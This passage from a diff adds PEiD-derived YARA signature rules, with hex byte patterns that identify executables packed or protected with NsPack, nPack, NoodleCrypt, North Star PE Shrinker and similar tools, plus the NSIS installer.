+    condition:
+        $a
+}
+
+rule PEiD_01283_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01284_Noodlecrypt2____r_sc_
+{
+    meta:
+        description = "[Noodlecrypt2 -> r!sc]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01285_North_Star_PE_Shrinker_1_3____Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 -> Liuxingping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01286_North_Star_PE_Shrinker_1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+    condition:
+        $a
+}
+
+rule PEiD_01287_North_Star_PE_Shrinker_v1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker v1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 A3 ?? FF FF 85 C0 0F 84 06 03 00 00 89 85 63 ?? FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD 47 ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 A7 ?? FF FF FF B5 A3 ?? FF FF 56 57 FF 95 63 ?? FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 63 ?? FF FF FF 95 A7 ?? FF FF 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01288_Norton_Speed_Disk_Configuration_file_
+{
+    meta:
+        description = "[Norton Speed Disk Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4E 6F 72 74 6F 6E 20 53 70 65 65 64}
+    condition:
+        $a
+}
+
+rule PEiD_01289_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01290_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01291_nPack_1_1_250_2006_Beta____NEOx__uinC__
+{
+    meta:
+        description = "[nPack 1.1.250.2006.Beta -> NEOx/[uinC]]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
+        $a
+}
+rule PEiD_01292_nPack_1_1_300_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.300.2006 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01293_nPack_v1_1_150_200_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 150-200 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01294_nPack_v1_1_250_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 250 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68}
+    condition:
+        $a
+}
+
+rule PEiD_01295_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01296_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01297_nPack_V1_1_200_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.200.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01298_nPack_V1_1_250_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.250.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01299_nPack_v1_1_xxx____NEOx_
+{
+    meta:
+        description = "[nPack v1.1.xxx -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
+        $a
+}
+
+rule PEiD_01300_NSIS_Installer____NullSoft_
+{
+    meta:
+        description = "[NSIS Installer -> NullSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+    condition:
+        $a
+}
+
+rule PEiD_01301_NSPack____Nort_Star_Software___http___www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - http://www.nsdsn.com/]"
+        ep_only = "false"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08}
+    condition:
+        $a
+}
+
+rule PEiD_01302_NSPack____Nort_Star_Software___url____www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - url:://www.nsdsn.com/]"
+        ep_only = "true"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08 83 7E 08 00 75 02 EB 7A 8B 5E 08 03 DA 53 52 56 8D BD ?? ?? FF FF 03 7E 04 83 C6 0C 57}
+    condition:
+        $a
+}
+rule PEiD_01303_NsPacK__Net____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[NsPacK .Net -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01304_NsPack_1_4____Liuxingping_
+{
+    meta:
+        description = "[NsPack 1.4 -> Liuxingping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01305_NsPack_1_4_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 1.4 by North Star (Liu Xing Ping)]"
+        ep_only = "false"
+    strings:
+        $a = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+    condition:
+        $a
+}
+
+rule PEiD_01306_NsPack_2_3____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 2.3 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01307_NsPack_2_9____North_Star_
+{
+    meta:
+        description = "[NsPack 2.9 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a
+}
+
+rule PEiD_01308_nSPack_2_x____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01}
+    condition:
+        $a
+}
+
+rule PEiD_01309_nSPack_2_x_3_x__NET____North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET -> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01310_nSPack_2_x_3_x__NET___North_Star_Liu_Xing_Ping_
+{
+    meta:
+        description = "[nSPack 2.x/3.x .NET-> North Star/Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01311_NsPack_3_0____North_Star_
+{
+    meta:
+        description = "[NsPack 3.0 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+    condition:
+        $a
+}
+
+rule PEiD_01312_NsPack_3_0_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.0 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 55 F9 FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 7D F9 FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 11 F9 FF FF 89 95}
+    condition:
+        $a
+}
+
+rule PEiD_01313_NsPack_3_1____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.1 -> Liu Xing Ping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+rule PEiD_01314_NsPack_3_1____North_Star__h__
+{
+    meta:
+        description = "[NsPack 3.1 -> North Star (h)]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01315_NsPack_3_1_by_North_Star__Liu_Xing_Ping__
+{
+    meta:
+        description = "[NsPack 3.1 by North Star (Liu Xing Ping)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01316_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_01317_NsPack_3_4____North_Star_
+{
+    meta:
+        description = "[NsPack 3.4 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+    condition:
+        $a
+}
+
+rule PEiD_01318_NsPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NsPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01319_NSPack_3_x____Liu_Xing_Ping_
+{
+    meta:
+        description = "[NSPack 3.x -> Liu Xing Ping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01320_NsPack_V1_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01321_nSpack_V1_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V1.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01322_NsPack_V1_4____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V1.4 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01323_nSpack_V2_3____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.3 -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+
+rule PEiD_01324_NsPack_v2_3____North_Star_
+{
+    meta:
+        description = "[NsPack v2.3 -> North Star]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+    condition:
+        $a
+}
+
+rule PEiD_01325_nSpack_V2_x____LiuXingPing_
+{
+    meta:
+        description = "[nSpack V2.x -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01326_NsPack_V2_X____LiuXingPing_
+{
+    meta:
+        description = "[NsPack V2.X -> LiuXingPing]"
+        ep_only = "false"
+    strings:
+        $a = {6E 73 70 61 63 6B 24 40}
+    condition:
+        $a
+}
+rule PEiD_01327_NsPacK_V3_0____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.0 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01328_NsPacK_V3_1____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.1 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01329_NsPack_v3_1____North_Star_
+{
+    meta:
+        description = "[NsPack v3.1 -> North Star]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01330_NsPacK_V3_3____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.3 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01331_NsPacK_V3_4_V3_5____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.4-V3.5 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01332_NsPacK_V3_6____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.6 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01333_NsPacK_V3_7____LiuXingPing_
+{
+    meta:
+        description = "[NsPacK V3.7 -> LiuXingPing]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01334_NsPack_v3_7____North_Star__h__
+{
+    meta:
+        description = "[NsPack v3.7 -> North Star (h)]"
